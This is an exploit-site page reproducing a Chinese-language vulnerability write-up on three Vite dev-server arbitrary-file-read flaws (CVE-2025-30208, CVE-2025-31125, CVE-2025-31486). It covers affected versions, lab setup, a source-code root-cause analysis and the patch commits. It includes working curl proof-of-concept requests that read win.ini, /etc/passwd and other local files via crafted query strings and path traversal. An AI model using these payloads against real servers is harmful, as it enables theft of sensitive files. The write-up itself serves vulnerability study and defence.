Sploitus

Exploit for CVE-2025-30208-Series

kitploit · 2026-09-06

Exploit Code

MARKDOWN249 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-R0NGY40-CVE-2025-30208-SERIES
# CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486

# 1\. 漏洞概述

CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞,因为造成漏洞的原因非常相似。

CVE-2025-30208影响版本如下所示

root@kitploit:~
    
    
    >=6.2.0, <=6.2.2
    >=6.1.0, <=6.1.1
    >=6.0.0, <=6.0.11
    >=5.0.0, <=5.4.14
    <=4.5.9
    

CVE-2025-31125影响版本如下所示

root@kitploit:~
    
    
    >=6.2.0, <=6.2.3
    >=6.1.0, <=6.1.2
    >=6.0.0, <=6.0.12
    >=5.0.0, <=5.4.15
    <=4.5.10
    

CVE-2025-31486影响版本如下所示

root@kitploit:~
    
    
    >=6.2.0, <=6.2.4
    >=6.1.0, <=6.1.3
    >=6.0.0, <=6.0.13
    >=5.0.0, <=5.4.16
    <=4.5.11
    

# 2 环境搭建

本地从0开始搭建漏洞环境的话首先通过`create-vite`创建项目

root@kitploit:~
    
    
    npm create vite@latest vuln-env -y -- --template vue-ts
    cd vuln-env
    

此时生成的 package.json 中 Vite 版本可能包含 ^ 符号(如 "vite": "^6.2.0"),需手动修改为精确版本号(如 "vite": "6.2.0"),再执行:

root@kitploit:~
    
    
    npm install
    

最后启动环境即可:

root@kitploit:~
    
    
    npm run dev
    

当然也可以直接利用本仓库下的`vuln-env`文件夹,`npm install`之后`npm run dev`即可。

# 3\. 漏洞复现

为了方便,三个漏洞的复现都是在6.2.0版本进行的。执行`npm run dev`, 等待环境启动。 ![](https://assets.kitploit.com/production/public/readmes/31056/c5e97397ef45516c3c498f761e4ebde196ef299915ee2ba7d5ca1415114e5736.png)

CVE-2025-30208 POC

root@kitploit:~
    
    
    curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
    
    curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
    

![](https://assets.kitploit.com/production/public/readmes/31056/8fe31c4b623449772a1a4fb3feca381b420c94c637494a79c0418f03a1c2cdcb.png)

CVE-2025-31125 POC

root@kitploit:~
    
    
    curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
    
    curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
    

![](https://assets.kitploit.com/production/public/readmes/31056/8027e45ba3dc98335afed9b4fa8fb2c543e879ab6fddd3c546c7c2b28b65cb7e.png) 读取的内容是经过base64编码后,解码后可得原始文件内容。 ![](https://assets.kitploit.com/production/public/readmes/31056/6b294a1964d66afe520aa04c6b392b45d293a7b69356dd737bdeca654187bb23.png)

CVE-2025-31486 POC

root@kitploit:~
    
    
    curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
    
    curl  "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
    

通报中所提到的通过相对路径读取的POC如下

root@kitploit:~
    
    
    curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
    

x表示本地项目的路径,本地测试poc如下

root@kitploit:~
    
    
    curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
    

可以看到POC基本分为两类,不需要添加HTTP Header的都要存在`?import&`,这里先按下不表,在源码分析阶段会做说明。

# 4\. 源码分析

## 4.1 CVE-2025-30208

分析源码需要调试,这里通过vscode调试项目,`launch.json`文件的内容如下。

root@kitploit:~
    
    
    {
        "version": "0.1.0",
        "configurations": [
          {
            "type": "node",
            "request": "launch",
            "name": "Debug Vite & Node Modules",
            "runtimeExecutable": "npm",
            "runtimeArgs": ["run", "dev"],
            "skipFiles": ["<node_internals>/**"],
          }
        ]
      }
    

从官方的修补方案来看,是对`transformMiddleware`函数中针对URL格式检测和判断服务是否能够访问的if语句做了加强,那么断点下在`transformMiddleware`函数,跟一下请求的解析过程。 ![](https://assets.kitploit.com/production/public/readmes/31056/f685dbc2b7d60c9725e59ff8bdc105c904322dd8cedda54e453a6d9aebc353c1.png)

因为创建出来的项目只有编译后的js文件,所以直接全文件搜索函数关键字添加断点。 ![](https://assets.kitploit.com/production/public/readmes/31056/0b2fc23bc447d556d4966af9c5902dd121a486efa31b319c9758fb8349a45472.png)

打一下POC,成功断在了目标函数。可以看到,经过一些变量的赋值之后,调用过程进入`viteTransformMiddleware`函数,在判断请求方法是否是`GET`以及请求的是否是根目录以及icon之后,url经过`removeTimestampQuery`被抹除了末尾的`?`。

root@kitploit:~
    
    
    /@fs/c:/windows/win.ini?import&raw??
                      ⬇
    /@fs/c:/windows/win.ini?import&raw?
    

通过`cleanUrl()`来获取不包含请求参数的URL,此时`withoutQuery`的值为`"/@fs/c:/windows/win.ini"`,因此不会进入`if (!isSourceMap)`代码段。紧接着通过`publicDirInRoot`判断静态资源目录是否被配置在项目根目录下,`url.startsWith(publicPath)`检查请求的URL是否以配置的公共路径(如/public/)开头。当两个条件同时满足时,调用`warnAboutExplicitPublicPathInUrl(url)`发出警告。这通常表示开发者可能在代码中错误地重复添加了公共路径。URL并不符合条件,因此也跳过了对应的代码段。`rawRE.test(url)`和`urlRE.test(url)`的结果都是False,因此不会判断`ensureServingAccess()`的结果而直接把逻辑表达式的结果设置为False,跳过代码段。在紧接着的if判断中,URL符合`ImportQueryRE`所定义的正则形式而进入if代码段内容,URL经过`removeImportQuery()`函数变更为`/@fs/c:/windows/win.ini?raw`,送入函数。

root@kitploit:~
    
    
    /@fs/c:/windows/win.ini?import&raw?
                      ⬇
    /@fs/c:/windows/win.ini?raw
    

在判断`isJSRequest(url)`的if语句中,可以看到他还判断了HTTP Header的`sec-fetch-dest`值是否是`script`,如果是则同样可以通过判断,这也就是在前文提到的POC基本分为两类的原因,添加HTTP Header和`?import&`都是为了通过if语句的判断。(其实用其他方法也可以通过判断,比如通过`isHTMLProxy(url)` -> `/@fs/c:/windows/win.ini?html-proxy&raw??`) ![](https://assets.kitploit.com/production/public/readmes/31056/08b8e8143e7e0012064f69ffdf7fc1fdb34dc2e58f442a369ccc3da2d3f652cf.png)

经过参数处理、环境检查、​缓存键与重复请求检测之后,进入`doTransform​()`函数。 ![](https://assets.kitploit.com/production/public/readmes/31056/2a3ee49c4cacebd0f54add6e06df6871845c774ed395ff8b65c162f0d39da2df.png)

经过缓存有效性检查之后URL`/@fs/c:/windows/win.ini?raw`被解析后得到ID`c:/windows/win.ini?raw`​,然后进入`loadAndTransform()`函数。

![](https://assets.kitploit.com/production/public/readmes/31056/bcef9bf8f7b6494630bdc316900a83ce22bf71bc6c94ecd811e26e9db7ee3853.png)

同样经过一些赋值操作之后,根据id的值来加载插件。插件的加载顺序如下所示

root@kitploit:~
    
    
    vite:optimized-deps
            ↓
    vite:modulepreload-polyfill
            ↓
    vite:resolve
            ↓
    vite:html-inline-proxy
            ↓
    vite:css
            ↓
    vite:wasm-helper
            ↓
    vite:worker
            ↓
    vite:asset
    

![](https://assets.kitploit.com/production/public/readmes/31056/86ae0a1514d609c0efe18ff7914d91e03fa6c07b8e99665d85b03e35502e96e5.png)

CVE-2025-30208的成因是攻击者精心构造的URL被解析和处理后通过了`assetPlugin`插件`if (rawRE.test(id))`的判断,被送入`fsp.readFile()`函数导致了本地文件的读取。 ![](https://assets.kitploit.com/production/public/readmes/31056/6bc2e0423a7349a50a26f8ec6207a725cf0e98975d989bd91b08dc0f9b6bc270.png)

## 4.2 CVE-2025-31125

CVE-2025-31125的成因则是URL被解析后满足了`wasmHelperPlugin`插件的`id.endsWith(".wasm?init")`条件,被送入`fileToUrl$1()`函数,并且满足`inlineRE$2.test(id)`后送入`fsp.readFile()`函数导致了本地文件的读取。 ![](https://assets.kitploit.com/production/public/readmes/31056/5063e2a4511562b43a2ac0de406a2d19131254e48208b333fcfebb31a00c794f.png)

## 4.3 CVE-2025-31486

CVE-2025-31486和CVE-2025-31125非常类似,从CVE-2025-31125的分析图中可以看到,`fileToDevUrl()`函数中一共只有两个包含正则判断的if语句,`inlineRE$2.test(id)`所在的if代码段是CVE-2025-31125的触发位置,紧随其后的`svgExtRE.test(id)`if代码段就是CVE-2025-31486的触发位置。

而相对路径的利用方法则是绕过了`ensureServingAccess()`的校验。 ![](https://assets.kitploit.com/production/public/readmes/31056/149a05b9bf9f5bed3c2b620da090a24b2b55ee7688f62a119e6155cadd0548b8.png) url进入`isFileServingAllowed()`函数之后首先会被`fsPathFromUrl()`中的`cleanUrl()`去除`?#`及之后的内容,那么对于POC中的url就会发生如下变化

root@kitploit:~
    
    
    D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
        
        ⬇
    
    D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
    

然后Url进入`isFileLoadingAllowed()`中的`isUriFilePath()`进行校验,并在之后通过`isParentDirectory()`的判断。

![](https://assets.kitploit.com/production/public/readmes/31056/66b89d5f03cb24a0c2cec21c2e5bcf9f33a1984539b31a836735a9354db55f0a.png)

# 5\. 漏洞修复

## 5.1 CVE-2025-30208

从修复提交commit`262b5ec`来看,官方采取的修复方式是清除参数末尾多余的`?`,那么参数在面对`if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) `时就会因为`rawRE.test()`成功匹配而使得能够正常进入`ensureServingAccess()`,进而来验证服务是否允许访问,避免了修复前由于逻辑表达式短路而引起的未授权读取。 ![](https://assets.kitploit.com/production/public/readmes/31056/565153e7d224a7630e7e93caa97379525c1c6fb8a8c7eb7e8c30e9893eab235c.png)

## 5.2 CVE-2025-31125

从修复提交Commit`5967313`来看,官方添加了正则`inlineRE`,那么对于`?inline=1.wasm?init`就会被正则匹配到,然后正常进入`ensureServingAccess()`判断服务是否可以访问。 ![](https://assets.kitploit.com/production/public/readmes/31056/9c2bac8d2f08ed81e18dc83a7c1af2004540603ca25de65e21b45378f86035a5.png)

## 5.3 CVE-2025-31486

从修复提交Commit`62d7e81`来看,官方的修复主要包含两个部分,第一部分则是为了处理`.svg`绕过而新增了一个`svgRE`的正则匹配。 ![](https://assets.kitploit.com/production/public/readmes/31056/4054604d5e38fc0bf20455caa499a3e48fe9f611146607e854fd6c5f7c8b9772.png)

第二部分则是为了处理相对路径读取而将参数`id`清理之后再送入`svgRe.test()`,使得参与`svgRe.test()`检测的参数与参与`file`拼接的参数保持一致。 ![](https://assets.kitploit.com/production/public/readmes/31056/28b361e35edfd6477cffac5b89ff6fc12b869f214329c34f2ca979d9f3db08e8.png)